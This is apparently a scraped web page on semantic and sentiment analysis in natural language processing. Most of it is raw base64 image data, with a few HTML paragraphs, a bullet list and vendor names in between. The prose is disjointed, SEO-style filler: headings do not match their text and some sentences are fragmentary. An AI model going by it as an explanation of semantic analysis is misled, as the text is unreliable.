cfULxtwwv8pxj1V6ueiLjDClxCmU2OQnor7vOqtcrTDmoVEutubebOMofaBHCgocH0UkH5gelarp7VNi1TaoN4s09D0e4tqcjhXgcUEkhQKFYUCkgggjgjBrqmW2DPRtkxWnUnjJH96jNszVX7ZQQndbXHbcTjcF816v7JbZqOc\/e4dwft90dU48Hx409+YiozSyD5NpWSkAjkk+dZ\/2n6KbscuzOSVRl2WKxbrHEgiQGlyorThelNKWvahJWGmcBSgFbCM+LFfXErQ0B7KorrrOfI8pqtXrs6kz2XIkyFDuMZw+Jl1AUlWPVKuD086c0tedG8CQ5HsphmqWWnadpXz32dzJth7Mdd6+0taHWGJkqfOsVtK+9Q0ww33aAhKCUhKnG3F4QSCFcVWNT6k1PdIcjRFh7SV6ggXhqztPXPuWT3T8qUGnY6VM7Rgtbl7c7khODgKr6bFil2qOiKi2LjNNAIQhDe1KEgYAAHAGKjnbFaihDbtsjBLT4lIT3KQEvA5DmP1s+fWpzNYha9z8Ak9l3FdsrWtbJjAVLvl61Fpu82LQOhrbZnFOWmRLWue442htuP3KAE7SSdxdxyTjrziqJaO2jWD9yuuqGrGzI00hFjU8y\/MKHohlNICwykIIXhTgVyoZFaTqXswsWrtVRNSagCpDUK3vQWoyVuNYLriFKXvQoHBCAkp6YrtV2eaRciy4QtKERp6oi3mm1FCcxggMgAHgJDaBgelfcV6kxgy3cfX\/AHX26vO8ktdx6LPHO2vVxtKryvTFlhxZVzl2+3qeuTrjrojuONrUWW2VLUVKbACUBWASSQK4Y\/5Ql9l2+wahc0zHttnusWNIkSZDMl5sLW+tpxHetoKWSjZkF1ICs44wa0iX2YaQeiQoyY0qMbdIlSY78aY6y82uQpSnwFoUFbVlZBHTFc6Ox7s5YaiR29LsJaho7plsuuFOwOKdSlSSrCwFrUQFZxmvoXtPac7F59LbPZ\/CzH\/1h7R73BlTYCoVvanC6R46pbLbSILsYObSlXercfVhvxDuQE5yOBzbOxjVN31bb75YL5NlyZMUNLE1Fxjy2y2+2QEtyGEITuSUqUUlO5O9OfKr7btGaUtl5f1HA05bY92k576a1GQh5zPXKgM8+frU5Dt60thiDb1BOSQhlrjJ68AVyn1Oo6MsYzCI67onB0sq+XbL2Ua5uUhUmBptq0B63Me0IlMNxmmLjGktvsFOFKck+44lT6uVb+ABxWuyuxq3TtSXLVKb3cLdMmPh9lyC4EOMKUyhp9O5QIUlwNNEgp4UjcOa1mLpO9yxkxC0AOC4QMVORNApUAZ009OjQ\/uah2uoZHnggfhRs0K2TI7KznTOl7Po+xxNOWCOWIEJJQ02pZWQCoqPiVk8kk1Z7bpm6XI942wUNq6LdG0fiavkLTlpt4+ghoKvNa\/Eo13SZUaE130p9tlsEDe4sISCTgDJwByQPtFJJb8s7vLk5UWxrYaNsDcBQNt0bAh7XJuJDg5590fZVgQ2lCQlACUjgADAFY7rH8pTTNpaSrSkf85kzZEFU+WHY0BL7CQXGw8GnCtYJKdqUnlKgSMVlr3avrvUfaO7eNPaiuS4LFyiuWuJE716Pd4SwlC4zLPdhBWHO97x5xSVN7Pd8qmw6JbmaZJiGge\/8JFPffK7LiSvrWikGeQST8\/OnY8d6W6GY7ZWtXkBSaOF8r\/DjGSjcGDc5N\/IZqYs+mZVzUlx5Cmo5PJPBPPlUxZNHobIkXLC19QjyHzq2NNpQkISnAAwBWgaB0cXEWL4\/Df+0ptan\/piTEGCxBaSxHbCEpGPnXXRRWlxxtiaGMGAEkdlxyUiulLSYzS19oARRRRQvUUh6UtIelCFyOe+r5mihz31fM0UIXQx9UmnKbY+qTTlCEUUUUIRRRRQhFFFFCEmM0bR6UtFeYQmX2GnUFDiApKuoIzVWu+jEObnbcQhX6iuUmrcRmkKQRil9\/SqupN2ztz\/ACukU0kJywrJp1qeiOdzMjkbSFDcMjIOQR9oFZDrz8nzTuqZ8e+WFNut1yaE1DpmW1M6O+Jbjbjyy2pSSHd7SFJWFAjGMEcV9YSYMaU33chpLgP6wzVbuWi2HPFb3C2r9VXKaolvpS3przPpr+PZM477HjbMF8Iav7L9eadusWzxNKpRarfdorMO8QrbHc9itLau\/cdD5cMlt4qD2RtKSXEjkVZmu1ntL0RbImpNSXVV7du1iuGonrAqK207BS462m3MJcACipa5DbJ3AkkEjoa+pJljuMFSg9FWU+ak+JP+lVq7aM0xe5KJd1ssZ+Q05HcQ8pvDgLDvetAq6kJc8QSeM0ml1GaNwj1GDgeuFKY1p5icsy0h2\/WJyXDsF3s97hwlTJVlY1BNcZVFlyoaF+0ZWFBYwWnvGUBJ2HmtA0t2j6D1w6tnSmqrdcnWkb1tMu\/SBPHi2HCtpyMKxg+prLO17sPsY7PWbZZmLu5EscC4R40OI37Q8XZqkh2SocKdKEl0lKeVJcXjmu3sRj6ovmr9U9pGp7JGgoXEhWG0iNFeYEiLHQtxbiUPpQ4AXnlJGU9EgDgZqLPX06xWdahcR6Y+cr7L5WENPK2CBc4VxMlEVTijEkLiuhbK0fSJAKsbwNw8Q8QyM5GeKcXChvDL8dlz0ygGvlleme0ZOkL3qPUE7Vlqu1o08iZBjw5rzLbt4mzZb5CkpO1zu97CCnkAKxWxdo+qNR2y8aU0rA1LG08Lz7WuZeJLLbgR7O0lQaQHCEBbhVnn9FCsc1wk0homayCUHP8A0uzZ3t91fF6esrp3rtzOfUJxTCtJWAncbeBn\/OoD+tYertr7Q2LZdtVMXnS9ytOk37bCmsx4znfXtb7bK1ux1bx3QIfSEJ2KBUlXlXFM7e+1GXYG7s3bNPQo2oRqKJaVtB8vxXLel8pedydqgsMK8KQCCRya+m6DdBzuGPyuo1GRvZxW+DSWn+vsA\/iK\/GnBpuwN8G3Mjke9k8\/bXz9avyje0Bks21OlU3c2OPaGru5Hgy3VS3ZTLTi3G3UJLTOxDoOHCdxCsYrj132y9oepI3aLoe0zbTYLpoCE5Kmy2dyzO7t1DiTGTvBSlLIKXgSopWrb8\/saDdc\/DiAPyj+pvJ+45X0si02tkAIgsIx08AFcZ1LpljUTekDd4iLy5HMtEAODvixkjvNvXbkEZ88GqF2n6sutia0TBe1amxwb3NMS731pLKQ2RGWtABc3IaDjiQncQQM46ms+7DxfNRdriO0TUVwnzjc7HcbYxNaUpqLKRAuPdMvltOEZcZf3DyJStQ61yj0ourvnmk7A8fuuclqR7scrY9cdpVj0RKt9ukx3JU25tynIrKHEIClMMl5SVKUQEZQlRBPB29a5z2x6PM6XboZuM8wWFOyZMOC49FZUGO\/DankjYFlrCgM4ORzzWSXfsq1M\/q\/u\/wD0+budy\/2yXfE6odfZQlVqfCkOxlKJ70qQ06ttLe0pwlJBrptv5LNxeZ04L1fbQyq1tQkSpMK3KROeERYDYEgLT4VtobSsLbV4QQCM5qW2npMcTTK\/JwuLnzPKlNQ9surJGntLz5S7Zoy3atmRCzdDNalux4LzS1hSkLSlCFbu4RvO5CS8OtUpdy7TtaQ9YWt2HcNb2S7tS9MsXC1qaQ2mWwoLjTgFLShAId2OKRlIcjdOa2\/TnYloDSstci321+ShEZcGPGnyVyo8OKtYWphhpwlLbZUlPhA6JSOgAq92iy7Gm4NptiGmW\/ChphoIQgeWAOAKI9Qib5aMG79l45hAzI5ZPojseusTS8+06lvUiEbxJYvDyLLKcjuwriWk+1KbeRjKFupU4Bj9NWRzWiaU0nadI2iPpzTkZbURlSlJSVqcWta1FSlqUolSlKUSSonJNXu26KfdUF3F3Yn9RHJ++rRb7Hb7enDDICvNRGSftptW6b1TVXGS07Yw84UaW9FGMM5KqNr0hNmKS7K+ga6lOPEfwq4260QLcjZGYCfVR6n7a7QgAdTSgAVeNM0CppTQIm5Pue6WTWZJz5ikCEivVFFPMKOiiiivUIooooQiiiihCKQ9KWkPShC5HPfV8zRQ576vmaKELoY+qTTlN+zt+W8fJavxpO4b9V\/xFfjQhO0U13Dfqv8AiK\/GjuW\/1l\/xFfjQhO0U13Dfqv8AiK\/Gl7hv1X\/EV+NCE5RTfcN+q\/4ivxo7hv1X\/EV+NCE5RTfcN+q\/4ivxo7hv1X\/EV+NCE5RTfcN+q\/4ivxo7hv1X\/EV+NCE5XnHxrz3Dfqv+Ir8aO4b9V\/xFfjXmEIW0FgggHPwqOm6ctc\/JfiI3H9IcGpHuG\/Vf8RX40dw36r\/iK\/GuM1WGwMSsB\/IXrXFhy0qqStCtHmLJI54ChnFQ8jSN3YOG20Oj1SrH9a0L2ds+a\/4ivxo9ma\/z\/wARX41XbXSGmWjnZt\/ClMuzM9crLnbXPZyl2E8CPLYTUVeLDaL9FEK\/2aJPjhYWGpkdLqAodDtWCM1spisnqFn\/AP0V+NNOWuA79Yxu+aif70mm6EZu3QTEKQ3UnD7mrBpnZ1oSbe4upZWkbQ7dYQbEeUqMkuNhv6vBx+jxj08q8Hs60UY0GB\/s7EMe2mUYjRBCWjJCg\/gf5968\/wDMa3VenbMv34KTn\/MfxrwdLWFXJt6f31fjUZ3RN7ADbAx+67DU4\/Vi+eGuwnstZfgSG9KN77c2y0zukvLC0sqy0HUleHdn6JWFbcDHpUyns40K20yj\/ZqArufakp71kLURJJMgFR5UHM+LOc1tv+y1h\/8A4A\/fV+Nek6asaeBb0faon+9A6L1HOTZH+UHUou+xZNGsFoi2lmxRbVGTb47SWWogZBaShIwEhOMYFSMW3vJbDUWEtLaPClKGiEpHoAOlae3Z7a0AG4wSB5BRH96eTDjp4SlQ\/wC9X411h6DcD+tOSPYLn\/VCPtas7Z03eHzxDKR6rOKlIuhJKlb5cxCQRwEDJH2mrj7K0Om\/+Ir8aX2dv1X\/ABFfjTmt0ZpsHL2lx+VwfqEzuxwoaHpG2RfEWi6ryKzn+VS7MVtlO1tCUj4CvfcN+q\/4ivxo7hv1X\/EV+NWGvQrVf7LAP2UR8jpPuKVKAFZOM17pvuG\/Vf8AEV+NHcN+q\/4ivxqXhfAGE5RTfcN+q\/4ivxo7hv1X\/EV+NeoTlFN9w36r\/iK\/GjuG\/Vf8RX40ITlFN9w36r\/iK\/GjuG\/Vf8RX40ITlFN9w36r\/iK\/GjuG\/Vf8RX40ITlFN9w36r\/iK\/GjuG\/Vf8RX40ITlIeleO4b9V\/xFfjR3Dfqv+Ir8aELncI3q58zRT\/srJ8lfvq\/GihCdrOO2jtCvfZ9aIs+yMQ3XH3S2r2ltSgBjPG1QooqbpzGyWmNeMjKXas90dKRzDggdwpnsy1VcdY6TjX26NR25DxUFJYSUo4OOAST\/Os+7Se2bVekdcNadtca2riqLeS8ytSzu68hYH8qKKi6gBHK8N4GVYekmNshvjDd5Ceeecd+VssV9bsNt9WApbYWcdM4qEtWoZ026GG8hkNgkZSkg\/1ooqvarNJHartY4gE84Pf8rhE1pa\/I7Ky0UUU+UZFFFFCEnnS0UUIRSHgUUUIRR50UUIS0UUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEhooooQg0UUUIS0UUUIRSedFFCEtFFFCEUUUUIRRRRQhFFFFCEUUUUIX\/9k=\" width=\"305px\" alt=\"semantic analysis example\"\/><\/p>\n<p><p>This reduces the size of the dataset and improves multi-class model performance because the data would only contain meaningful words. Vendors that offer sentiment analysis platforms include Brandwatch, Critical Mention, Hootsuite, Lexalytics, Meltwater, MonkeyLearn, NetBase Quid, Sprout Social, Talkwalker and Zoho. Businesses that use these tools to analyze sentiment can review customer feedback more regularly and proactively respond to changes of opinion within the market.<\/p>\n<\/p>\n<p><h2>Google\u2019s semantic algorithm \u2013 Hummingbird<\/h2>\n<\/p>\n<p><p>Various customer experience software (e.g. InMoment, Clarabridge) collect feedback from numerous sources, alert on mentions in real-time, analyze text, and visualize results. Text analysis platforms (e.g. DiscoverText, IBM Watson Natural Language Understanding, Google Cloud Natural Language, or Microsoft Text Analytics API) have sentiment analysis in their feature set. Natural language processing is the field which aims to give the machines the ability of understanding natural languages. Semantic analysis is a sub topic, out of many sub topics discussed in this field. This article aims to address the main topics discussed in semantic analysis to give a brief understanding for a beginner.<\/p>\n<\/p>\n<ul>\n<li>These models use deep learning architectures such as transformers that achieve state-of-the-art performance on sentiment analysis and other machine learning tasks.<\/li>\n<li>The main difference between them is that in polysemy, the meanings of the words are related but in homonymy, the meanings of the words are not related.<\/li>\n<li>Sentiment analysis is critical because it helps businesses to understand the emotion and sentiments of their customers.<\/li>\n<li>As the result, sentiment analysis gives an additional perspective on various parts of the business operation, which allows us to understand what the target audience needs, thinks, feels can be improved, and so on.<\/li>\n<li>This is like a template for a subject-verb relationship and there are many others for other types of relationships.<\/li>\n<li>The mechanics of both workflows are very similar, but there are a few key differences.<\/li>\n<\/ul>\n<p><p>Semantic analysis alone is insufficient forNLP to interpret entire sentences and texts. The main goal of sentiment analysis is to automatically determine whether a text leaves a positive, negative, or neutral impression. It\u2019s often used to analyze customer feedback on brands, products, and services found in online reviews or on social media platforms.<\/p>\n<\/p>\n<p><h2>3 Data Preparation for ESA<\/h2>\n<\/p>\n<p><p>A concrete natural language is composed of all semantic unit representations. A semantic analysis is an analysis of the meaning of words and phrases in a document or text. This tool is capable of extracting information such as the topic of a text, its structure, and the relationships between words and phrases. Following this, the information can be used to improve the interpretation of the text and make better decisions. Semantic analysis can be used in a variety of applications, including machine learning and customer service.<\/p>\n<\/p>\n<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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XItNrNT3J4qHMmqIjU3DnYZAebZzW8pIO5BPb2rKOp2k+CcNflLdDKTRaxMxmgySKOOvo6OR4hkEj5YHjlJPY5u247twD39q2ioOATA6PUrSbU1+d5HPcdJLJTWO2xPZAIqyGGSoe102zN+b\/iXA8uw2aP8r12qfCXiOquv2B8Qd1ye8Ud3wDo\/sVDTCL7NUckrpP6nM0u7S7bzSOxBpRwWaVaecWOvuvOa8SVijyfI7deDSUtsuc7nsoad0szSGM3GwjDGRt9DR3bFYt0vxvHsSfxu4ritykuVotWPS0dFO+fp3mKOqe1rek7S7l25e3t83tO6yPrJRcPNu4pM2uOt+nWqeildLUP6O\/Yhc6qposrje8gyEU9MDEZW8r3Na47ucQ4gjt9d5PThyoMluWvOR1enl3xzSnUCnGO4\/R3Jj4KqpoSZQ94Dt3t2aYyHnvc\/s35TsHa6Yyx9ThevPb2YleGnt\/5unk7P\/dYPx6v0NuHArw54Nq1UahXq4XW83d9mw\/EZoGG9zffdQwCoErDzN5nBjQ1zTu47EHYjaDG\/JZY5Y8WuOnFdxE6kXDBKx0kseOCeKCmbM4HlkkDQRLyu2fy7NaXNBIK729+TO04rdMNN8Ex\/UfKLLe9LKqqqrBk0LYXVbHTVr6sh7NmtPLK\/dpbykco7+3cNTc\/sM+A8aHDhdMb4b6fQ6C732Gk+y0txhkqLlEamBkhnjgJYwBspZ\/c4uDzv\/aF7vhq0w094quNPiJunEVaYskuWJ3EW6xWW4zExR0X2moidK2PcEhjYacD\/lBqCe8grYSbyeNsv2pOEawag6\/Z\/luX4Vcqe4QVleaYQzshljljp+hbHyxR8zH78p5j0jtz2N21x4i6LQOi4tMkumt+nmqOkdQYmupM0w+5VFRS5G08rSHsgpg+Fzm9h5XO35SHbeaSHjNMZYOH7WfjJOj15nrI8LxGpistRJUGpfRmJzGiLncSXfZjvGOYkgQAE7gry2mmiN01L4V5prbwRX3McnyuirK6LUl+VUgmfXukk5J2tkeHNjY9oa6Ps5g1+\/nOLlsJ5PPRSy3fVrWjPrHpldbFpDklvhxuwUt7p3skuNM1obLI5knnOEgZzuJ9MpHeDtkiXyZVDQ2e6afYhxLamY9pxeJZXVOKU1RE6ARykmSFkjhu2N253aWnm3PNvudwwFqDoBxWat8PuhTMpobResj0+q69l0wq+3yLmvkDZo\/s0hcyQtmJjidGQXbgO7O9y7bQXINFsO4xsQosz4f804eNQ6+mfbqK0Wyvgfjt46Rr2NZK0Qhz+cnsLHcokYwb7jc7TakcAmjuaYXgeM4rcL1hFy00BGM3yyzAVdLu5rnc5cCJeZ7Q477HcnYjcr5tPuBigs2sFo101f1kyvVHK8djMdmkvEcNPT0R2IDhFENi4cxI3O3Ns7bcDYPf8Xevr+GnQTItV6WzR3WuoWxUtBSykiJ9TM8MjdIR28jSeZwGxIbsCCdxVdeeHXNtFKbA+LTXaxW\/NtOcxu0eQZXjdn56emtz6k88EroWERyDZ++2224LHbh25uF1b0owzW3Tu86YZ\/bjWWS9wiKeNjyx7HNcHskY4drXte1rgfWO3cEhal2XyV+JNbacbzzX7UbL8EscwmoMTrasR0bdjuGv5TsQPRytbsCdttygzZwaa85hxJaTnU\/JsEpMWt9ZcJ4LJTwTOkM9HEQ0SO3AAPMHN2b2eaVmjJGgY7dT\/wDZT\/8A8ysOcL3CpaOFehvOO4bqFkd2xm6VDqqms11MUkdvkLu0wva1rti3sIO++wPfvvmy5UjK+hqKCSRzGVML4XOb3gOBG4\/7oKy\/JFAHh31u3HdcpP2Ll5nyYvCZpPq3pO\/WPV83K8S4xfX\/AHBSuuc9PSWnoCyZ84ZE5vM90mxdzEtIY0cvfvu9wycGeG8L+DZbguK5be7vS5fMZ6me4NhEkLjCYjydG0DbY79oPau84Z+FzD+GPS+r0px2+XO+Wytq56uWW5CMSHpWhrmf02tHLsPV6UGgeBYnoXqF\/uhf9I+GzOtdpa6qqTWZtndxoYYKeqEbiTBJ0bZABvzHZjnDZvd2BYGs92ulf5KzIaKuuE1RDbdW46ekZJIXNhiNDTvLGepvO9zth2buJ9JViOH+TfptPjf8bwbiS1GsGB5JUSVFfjVE6nYJBJ2OjFSWl7Wlvm7tAeQP7t+1TSeTF0uoNALvw70+oeVCwXbJ2ZQakspzUwzthbF0bTycpZysb3jff0oNYeNThb0j014JME1lxOxy0edsfZautvzauV1TWy1MAdKZHOcd\/PIc09hbygAgbg+04ktDdZNQtccC18tGnuN60WSjxGhFbg1yurIpRI+mPSv6J5AG7pWyB2zhzAbtPYtxNcOFPE9dtBbToFkGT3e32m1Nt7GVtI2L7TJ9kjDGc3M0t7dtzsP0XkNSeBTH8qzTHtUtP9U8q09zqwWaCx\/fVn6J\/wBspoohG0TxPHK88oHqHduPNBAabYHkehtFi3FDieLafZ3pPndZp7d6m64JdKqF9opwyjPM6ljETZGEczXAuOxbL5vm8oHwWO4aKSeT50Qw3WG45\/Vuv2Q3AWjGcPmhjqL\/ADsqy0xSmVjt42maMDYtPNK3bt223Hw\/ye2E2SDUe8ZlqTlGZZnqdYqrH7tk1y6EVENNNF0TugjDeVp5WsA5ubsYB2DsXXZD5NbTa8aN4BpbQagZNbbhppcKq5Y7kcQiNXBLUTNleHMDQxw544iCNiDGO3v3DTPXPH3YFxJaA37F+GSHQxlVfWQxMp7hA+qrw2eFrjKynJYwBr9ty4lwe4Hu2WSBw7aI1HlVKrS+fTWyvxR2Jfen3UYP6H2sxNeZuXf+7mJO\/rK2Bvfk6KLN8sxPUHUviI1ByvJ8SrGVVNXVgpWxOax7HtibCI+VjeZpJIPMeY7nsG3pdc+BPGtYNZqTXmyarZlguWw0cVBPU2GdjBPCwEbHcczd2nlOx2I23CDV7hn0xwni04xddr9xBWcZH\/oiqitdjslwkc6mpKcyzRgti322YyBgHo3kJIJ2K6DB4W6KcQfFLwz6f18ztPG4Hc75BanSulbbKpsdPtyFxJaNqqRp9YMe5PKttdSeAbHsk1Pn1n0s1cy3THMbnTinu1bZHMfFcexoL5Y37eceUEnfYnt237V3OkvAzptpRhGdY7T5Hfr7kOo1LLSZDlN0kbLcKhsjXA8pI2aAXl23buduYnYbBqJ5OLhA021M0BoNcs8qrhWZLZ7pV\/6UqJbpPBS2H7NKZGStjje1pP2gvldz8zTsOzvWLKbQPI9CNMMxtnENwlU2p2PV09XXVGp2KXiKe6W+ItAdIx72ydjCwv3c1rW8zucOG6tB4f8Ahqw\/h\/0W\/wBjbVc6+\/WN76wzPuYj6SVlSSZGO5Ghu2xI7u5YJZ5Nf7kxu86a4DxO6i41pxkEk7q7Fom080XRzdksUcrxzNY4bgjY7gnffc7hmngvyXTzKeG7D6\/S2\/ZFdcdgpn0lNJkEzJbhCY3kOhmexrWuLD5oIG2wHes3Lw2iuj+GaD6bWjS\/AaWWG0WeNzWGZ\/PLK9zi58kjthu5ziSewL3KAiIgIiICIiAiIgIiIIPcf0VefHL+LNp+HYP3VUrDD3H9FXnxy\/izafh2D91VINs+FH8uWmXwZYf4+BZaWJeFH8uWmXwZYf4+BZaQQSB3lfGy9WeWgkusd0pHUUPP0lQJmmNnKdnbu32GxB39S+twB71qjjmRSQ6D5XpdNh+WsvtTFfOiY7HawQP55JnsDZeTkPMO7Y9pIAQbQxX6xzumZDeKKR1PC2omDZ2kxxOG7Xu7expHaCewr5rhmOJWqKlnumTWukjrgDSvnq42CYHuLCT53eO5alXTBNRLZWZFqFilhur6624rabdVWt1NI0Xahkt\/JPEwFvnTQv5ZGhvbuwsIPNsucFku2LmepzPBKm8OveHWW3426rxqqutPSGOINq6GSGEtfHK9\/M4buZ2vG580hBt3JfrJDNLTzXiiZLBAKqVjp2gshJ2EhG\/Y3f09ymmvtkrLd98Ul3opqHYn7THO10XZ3+cDstNKOmukb6nIc80kyCaAYBaaV9mtdDW8klVFcZC2k3d0jy0bNL2uc48h3PYQvRVGA0eUaI5feWWa9i9S3YXRloorbcLbS007jCBFFTPDDUtDWAlzmFpfzODW77INpa66Y7HW01tuNwt7aup7aeCaVgkk\/wDwaTuf+i5017sdRXy2ejutFJW0wBlpY52GSMejdgO4\/wCy1l18tj7hkkNNY9Ob1UZIKyxVMM8dtnqGXiCGZjzFFWN5mW4QkPMhIaXDtPYeZfRpjS2K56z0tVQ4VfsZprJWXQUklVY637Rdp5zvLPU1j4xG2HsJjj5iT2do2AAbQoiIC\/OWngnAE8McgHcHtB2\/7r9EQQ1rWNDWNDQO4AbAKURAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQQe4\/oq8+OX8WbT8OwfuqpWGHuP6KvPjl\/Fm0\/DsH7qqQbZ8KP5ctMvgyw\/x8Cy0sS8KP5ctMvgyw\/x8Cy0ggtBIJ9Cgs37SVyRBx5f8jv37k5O3t2\/7LkiDjy9vf2Jyf59O65Ig48gTl7d1yRAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQQe4\/oq8+OX8WbT8OwfuqpWGHuP6KvPjl\/Fm0\/DsH7qqQbZ8KP5ctMvgyw\/x8Cy0sS8KP5ctMvgyw\/x8Cy0gIiICIiAigEHuTcIJRRzD1puPWglFG49abhBKKNwO8puPWglFHM3\/wBQTmB9KCUUbhSgIo3G+26bhBKKNx603CCUUFzQdie1NwglFHMD2bpuEEoo5m+sJuPWglFG4TcHuKCUUEgdpTcetBKKNx6wm49aCUUf5TcetBKKNx6wm4QSijcJzD1oJRRum49aCUUbgKUBERAREQQe4\/oq8+OX8WbT8OwfuqpWGHuP6KvPjl\/Fm0\/DsH7qqQbZ8KP5ctMvgyw\/x8Cy0sS8KP5ctMvgyw\/x8Cy0gIiICh3cVKg9yDSPypuT6mY7pjh3+l6vI6HCazIGxZzWY9zCtitoDfMDmkFrXDpe8hpc1gcdj24U4fsF4eIdXMKyHgU4qjYR9oJyLEMkraljrvFu3+m2B7Gh7i0vG+x2PIWn0rbHjJuPFPijMSzzh4o3ZLYrNVSnMcPioaaeovFG4sLDCZI3SczQ2UFsRDjztIDtitOtSMJyTjA1X07q9IuCzJtI7tY7zDc8hyy72o2mMQMc0uiJ5IxO8OG4PnSdgAABcg2pz7jqu1PnGU4VoNw+5LqszA3uhyi50FdHR01HO0EvhiLmPdUSN5XAtAb2tIG\/emYeUU0wx\/TLTPVixYter9ZdRru6zCCn5W1tvqGbCSN0IDukkDvNDGkbnbY7HdakXHh0qtBdVNSbbqlw+axaiW7JLtPeMVvOA19d0E8cjnHoKttK8COTdwBMg5uxxAc3Yn1uUcOOdYxp\/wAM9txjQW+Y++DVmnyW+WS31FVfBZoHzQAzVM5DuiHRxNc\/chjTzdveUGYqXyjuQUmoFx0gyvhQzu0Z3PStqsYsLKuKea8NLuwPdytbTbR80jnf1GtEcg3Lg0P9TpJ5QHGM7wzUq9ZvpbkuIZLpW7lveMxj7wrJHOkMcbIOVrC57pQGbOa0AkEu5d3DzOf6fZ5W+VH0y1Bo8Jv0+LW\/Fa6nq75HbpnUFPK6krGtjkqA3o2uLnsAaXbkuA9Kwtlmn\/FVj2qvGHluiuE5Vbb1fm2o2C5x218Jr6dtQ37WaCWVojllEPSbdGS8dvJ\/U5EGdqHj\/wAxsd+wU6w8LuSYLimo1zhtdjvc17p6uXpZSBF09I1jXwg8wJBO4G+wdsvqyHj7vDNSNRdI9OeHDKc3yjT+rhidT2+tY2Gppy17pah8pjIhDSI2tYQ50jpNmjzXFacZrphk+a0+jeV4lw88Q1Zfcdyi1zZfkWZR3GsmPK9jpWwUr3vcYuZr3mVkLQ3lDSd3bLcHhIwLNsb4uuJ\/J8jw+92q03+52d9ouFbb5YKe4MY2p6QwSvaGyhvM3fkJ23G\/oQYj4huPvMdSuCmp1Y0SxDJMWrnXKK23i6w3CIOx2pjqYPM32BmZM2To2uDWnzju0L0smtjcq1H4YDrBplnNgy2+VNTT2nlyVjaaZscdI41lVFG3lnZKX7tYSCOV2\/esH6c8O+udy8nHrJp0NKcnpMpuGV01yorNX22Wjq6uniqaaR74Y5mtMnmMe4Bu5dykN3JAOQ6uLVXWHVrhDzGTQHUTGqbCqyutd8ZdLDUx\/YRFFRhtRM4xgRRPIdyufsDyO9RQZnzPygV0bluX2bRHhzyjU+x6fSvp8nv1DXMpaelmj36RkDTG8zlga7cbtPmns285bF6LavYtrppvZ9TsOirobdeIy77NXwdDU00rSWvhlZuQHtcCDsSD3gkEFaNaUX7W\/gan1Y0rk4bs4z52UZLW5Lil7x+2vrqGpdUxtYyOqewHouXomFwPndruzbYndHQOr1ddpHabrrtZLLbMxqIpKuvtlipyIaRpJLIQOeTnkDduYtcRzEgb7bkNPPKJ3fUnWzWTEuFLRjJKu2XaisVyzC7y0lQ+Et6OnkNLC9zCD\/Uezk9PL0zHEELI+gXGBFB5P+HX\/ILfU3y44HQG13qiE4inlqaaSOEguIdyucx8cnaNyHDfvWCtHOE\/iA4j9WdU+I7LtRdR9D7teb9JbrbDDQTUVbUW5jGiNpEhjf0LYxCxpG7XFjvS0rwcuhHEBoTZ+JfhpocNz7Ocay+y091sd9psfq54a24tlhkfyujY6MzSRyPDw1xJdA0ehBshX+U9fabNh2od44Z8yoNNsrmpqN2WT1kbYoamRu72RxFn9VjHB4Dy+Pn6N5aCAN8r6o8WWZWLU2bSfRXh2yXUy8UFuiulyq218dpttPFIxr2MZUzMc2WTlcwloA\/uABJDgNe+JDSvUy+eS20908sWm+S3DKaKlsAqbHSWieWvgdGw9Jz07WGRpaT527ez0rqdRaDWCfiSvto100613y3Teax22mwy04G+qhtbnmnibK2sdTSRcjuk6QPdK8Ob2k+YGbB8HGNxaQ8QfAvcc9w2hv2F3mxZtT2C8UDqvlmpaqNvM9jZoiOkjIe3t2b2gggbdu3ulPFXYM01X1H0XyLHZsZu+mtJDXSTVNY2WO428g81XHs1pa1o6IuB326UDc7Eqtg6Aa4UvBFqdp\/DoJnlBep9UoLlR2QWSrqZzRdAGh8TgxxqI2FhaZWlzT2HmO+6zD5TDG8z0z1VwzVzSmoiivGo9gqtOrrSte1sskk0bWxEtJ3du1+3ds10DN\/7ggzCzyoFkr8CsOV2bRS9Vd0zPJJcbxS0vu0EIuL4nMY+aSdzeSCPnkY0dj93c25AaSu3yvitmzbSjWTDtaNCM1wK9YfjstdcaCnurXx1lI5jXb0lziYGCXle09jTtv2E7Hby2u\/D\/a9M+H\/SDS6t4Y59W8OxSGKmvk1gdPHfrbVPAM1ZSR05bJJ0kzpHuaCW77c\/Z2jB2H6W69TYdr5atMsP1mpdHq3CqmhsWPZxTzPudVc3MYQ2kpDvIQCX+cxpDh5pJcNkGfMO43Ma080w0W000k0qyXMsqzqxuuNnslyyKGKSGjE8rA6puE7dnyOdHJygMPYw7lvm82RrXxu1cWlWf5vm\/D\/nWP5JpzV0lLdsYZE2qlqRUVLIGSUdQA1lQwc\/M4gDYNJG42J1brNJrlT6C6DWnWrg6yvL8ftGOy01fdMciq4Msx6tM0xERpYyyR0RBY\/z92Al24aeUu9Lw43Lic0E001jz7F9MtUcowqgntcOnuF5kyeS+TNNTHDUOEEbHSxsbFIX7NYGkR7gdjnIN\/8AT7L4tQMDsObw2qstkd+ttPcWUVYwNnpxLGH9HIB3Obvsf8quLhW4ka3QzAeJzVrK6e65XTY7n7KaKhfcXBzY3zzsDWOk5gwDffYDbsVjOmuR3rLtPMcynJMbnx+7Xe1U1ZW2meN7JaGeSNrnwOa8B7SxxLSHAHs7Qqr6LQ\/WpnDPxT2B2kOatueRZ5T1tnozYKvp7jAKqVxlp4+j5pmAEEuYCNiCg2il8pK22ZNg0uU8PGXWPT3UGop6Wy5hWVLGtqHytBa9tNybmIlwIcXtcWefyf8AKvB2Dik4i3+UDvuF1GmWVTWFtmp4jijrvB0VBCZIWG7E7bFnKS\/kHnefsu340tM9Qsn4b+HPH8S0+yK63Cw5FjktxorfaZp5qCGKgc2R00cbC6JrHbNJcAAew7LnndBqrpR5RyXVmn0VzHLMSzTFaLHI7nYrfJVQ0MrnwxvkqHMa4RMZyFzubl807jfYoPT4D5SW2ak3o2fGNDslnZa7\/Pb8muAqQaCwWyIgG41E4i5djtKRF2ENhcXObu3f4neUrrqq01uqOO8MGb3TR23VjqabNW1UUbjE13K+oZROZzGMH0mQdnfyu81dVwTaD5rV8LWu+mOZ4veMPuub5dkdLRvu1umpJX01RQU0UNQGyNa6SHnMmxG4OzwPSsZ49k3ENgHCjcOCSq4Us8r81dT1WO0V4pLcZrDNBUSuP2p1YB0YaBIe0uAGw5i07gBtFrVxy4rgEen9n0swe6aoZVqdSsuWOWe1ztpxNROZz9NJK5riwcnMQOQ\/2P5uUDda32fiQyWt47chzzJMLyr